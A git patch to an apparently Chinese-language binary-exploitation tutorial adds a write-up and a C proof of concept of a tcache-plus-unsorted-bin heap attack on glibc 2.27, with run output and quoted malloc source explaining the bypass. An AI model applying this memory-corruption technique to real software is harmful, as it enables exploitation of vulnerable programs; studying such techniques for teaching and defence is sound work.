From 39f250031b39722f81fdcf306a7ec9c43838604b Mon Sep 17 00:00:00 2001 From: firmianay Date: Wed, 30 May 2018 15:08:08 +0800 Subject: [PATCH] update tcache_unsorted_bin_attack --- doc/3.1.8_heap_exploit_3.md | 90 +++++++++++++++++++ doc/4.14_glibc_tcache.md | 4 +- src/others/3.1.6_heap_exploit/Makefile | 2 +- .../tcache_unsorted_bin_attack.c | 28 ++++++ 4 files changed, 122 insertions(+), 2 deletions(-) create mode 100644 src/others/3.1.6_heap_exploit/tcache_unsorted_bin_attack.c diff --git a/doc/3.1.8_heap_exploit_3.md b/doc/3.1.8_heap_exploit_3.md index 8c8d2cd..e0ed28a 100644 --- a/doc/3.1.8_heap_exploit_3.md +++ b/doc/3.1.8_heap_exploit_3.md @@ -214,6 +214,96 @@ gef➤ x/4gx &stack_var-2 ``` 从而泄漏了 unsorted bin 的头部地址。 +那么继续来看 libc-2.27 里怎么处理: +```c +#include +#include + +int main() { + unsigned long stack_var = 0; + fprintf(stderr, "The target we want to rewrite on stack: %p -> %ld\n\n", &stack_var, stack_var); + + unsigned long *p = malloc(0x80); + unsigned long *p1 = malloc(0x10); + fprintf(stderr, "Now, we allocate first small chunk on the heap at: %p\n",p); + + free(p); + fprintf(stderr, "Freed the first chunk to put it in a tcache bin\n"); + + p[0] = (unsigned long)(&stack_var); + fprintf(stderr, "Overwrite the next ptr with the target address\n"); + malloc(0x80); + malloc(0x80); + fprintf(stderr, "Now we malloc twice to make tcache struct's counts '0xff'\n\n"); + + free(p); + fprintf(stderr, "Now free again to put it in unsorted bin\n"); + p[1] = (unsigned long)(&stack_var - 2); + fprintf(stderr, "Now write its bk ptr with the target address-0x10: %p\n\n", (void*)p[1]); + + malloc(0x80); + fprintf(stderr, "Finally malloc again to get the chunk at target address: %p -> %p\n", &stack_var, (void*)stack_var); +} +``` +``` +$ gcc -g tcache_unsorted_bin_attack.c +$ ./a.out +The target we want to rewrite on stack: 0x7ffef0884c10 -> 0 + +Now, we allocate first small chunk on the heap at: 0x564866907260 +Freed the first chunk to put it in a tcache bin +Overwrite the next ptr with the target address +Now we malloc twice to make tcache struct's counts '0xff' + +Now free again to put it in unsorted bin +Now write its bk ptr with the target address-0x10: 0x7ffef0884c00 + +Finally malloc again to get the chunk at target address: 0x7ffef0884c10 -> 0x7f69ba1d8ca0 +``` +我们知道由于 tcache 的存在,malloc 从 unsorted bin 取 chunk 的时候,如果对应的 tcache bin 还未装满,则会将 unsorted bin 里的 chunk 全部放进对应的 tcache bin,然后再从 tcache bin 中取出。那么问题就来了,在放进 tcache bin 的这个过程中,malloc 会以为我们的 target address 也是一个 chunk,然而这个 "chunk" 是过不了检查的,将抛出 "memory corruption" 的错误: +```c + while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) + { + bck = victim->bk; + if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0) + || __builtin_expect (chunksize_nomask (victim) + > av->system_mem, 0)) + malloc_printerr ("malloc(): memory corruption"); +``` +那么要想跳过放 chunk 的这个过程,就需要对应 tcache bin 的 counts 域不小于 tcache_count(默认为7),但如果 counts 不为 0,说明 tcache bin 里是有 chunk 的,那么 malloc 的时候会直接从 tcache bin 里取出,于是就没有 unsorted bin 什么事了: +```c + if (tc_idx < mp_.tcache_bins + /*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */ + && tcache + && tcache->entries[tc_idx] != NULL) + { + return tcache_get (tc_idx); + } +``` +这就造成了矛盾,所以我们需要找到一种既能从 unsorted bin 中取 chunk,又不会将 chunk 放进 tcache bin 的办法。 + +于是就得到了上面的利用 tcache poisoning(参考章节4.14),将 counts 修改成了 `0xff`,于是在进行到下面这里时就会进入 else 分支,直接取出 chunk 并返回: +```c +#if USE_TCACHE + /* Fill cache first, return to user only if cache fills. + We may return one of these chunks later. */ + if (tcache_nb + && tcache->counts[tc_idx] < mp_.tcache_count) + { + tcache_put (victim, tc_idx); + return_cached = 1; + continue; + } + else + { +#endif + check_malloced_chunk (av, victim, nb); + void *p = chunk2mem (victim); + alloc_perturb (p, bytes); + return p; +``` +于是就成功泄露出了 unsorted bin 的头部地址。 + #### house_of_einherjar ```c #include diff --git a/doc/4.14_glibc_tcache.md b/doc/4.14_glibc_tcache.md index 3d5ae9d..aa33fbf 100644 --- a/doc/4.14_glibc_tcache.md +++ b/doc/4.14_glibc_tcache.md @@ -651,7 +651,7 @@ gdb-peda$ x/10gx (void *)p3-0x10 0x7fffffffdca0: 0x4242424242424242 0x4242424242424242 0x7fffffffdcb0: 0x4242424242424242 0x0000000000000000 ``` -于是我们得到了一个在栈上的 chunk。exe +于是我们得到了一个在栈上的 chunk。 有趣的是 tcache bin 的 counts 居然产生了整数溢出(`0x00-1=0xff`): ``` @@ -665,6 +665,8 @@ gdb-peda$ x/12gx 0x0000555555756000+0x10 ``` 看来这个机制仍然存在很多的问题啊。 +注:突然这个 `0xff` 在 unsorted bin attack 里有很巧妙的用处,参考章节 3.18。 + 这一节的代码可以在[这里](../src/others/4.14_glibc_tcache)找到。其他的一些情况可以参考章节 3.3.6。 diff --git a/src/others/3.1.6_heap_exploit/Makefile b/src/others/3.1.6_heap_exploit/Makefile index 31fe599..a622dfc 100644 --- a/src/others/3.1.6_heap_exploit/Makefile +++ b/src/others/3.1.6_heap_exploit/Makefile @@ -1,4 +1,4 @@ -PROGRAMS = fastbin_dup tcache_double-free fastbin_dup_into_stack fastbin_dup_consolidate unsafe_unlink house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore tcache_house_of_lore overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack house_of_einherjar house_of_orange +PROGRAMS = fastbin_dup tcache_double-free fastbin_dup_into_stack fastbin_dup_consolidate unsafe_unlink house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore tcache_house_of_lore overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack tcache_unsorted_bin_attack house_of_einherjar house_of_orange CFLAGS += -std=c99 -g # CFLAGS += -fsanitize=address diff --git a/src/others/3.1.6_heap_exploit/tcache_unsorted_bin_attack.c b/src/others/3.1.6_heap_exploit/tcache_unsorted_bin_attack.c new file mode 100644 index 0000000..7c48946 --- /dev/null +++ b/src/others/3.1.6_heap_exploit/tcache_unsorted_bin_attack.c @@ -0,0 +1,28 @@ +#include +#include + +int main() { + unsigned long stack_var = 0; + fprintf(stderr, "The target we want to rewrite on stack: %p -> %ld\n\n", &stack_var, stack_var); + + unsigned long *p = malloc(0x80); + unsigned long *p1 = malloc(0x10); + fprintf(stderr, "Now, we allocate first small chunk on the heap at: %p\n",p); + + free(p); + fprintf(stderr, "Freed the first chunk to put it in a tcache bin\n"); + + p[0] = (unsigned long)(&stack_var); + fprintf(stderr, "Overwrite the next ptr with the target address\n"); + malloc(0x80); + malloc(0x80); + fprintf(stderr, "Now we malloc twice to make tcache struct's counts '0xff'\n\n"); + + free(p); + fprintf(stderr, "Now free again to put it in unsorted bin\n"); + p[1] = (unsigned long)(&stack_var - 2); + fprintf(stderr, "Now write its bk ptr with the target address-0x10: %p\n\n", (void*)p[1]); + + malloc(0x80); + fprintf(stderr, "Finally malloc again to get the chunk at target address: %p -> %p\n", &stack_var, (void*)stack_var); +}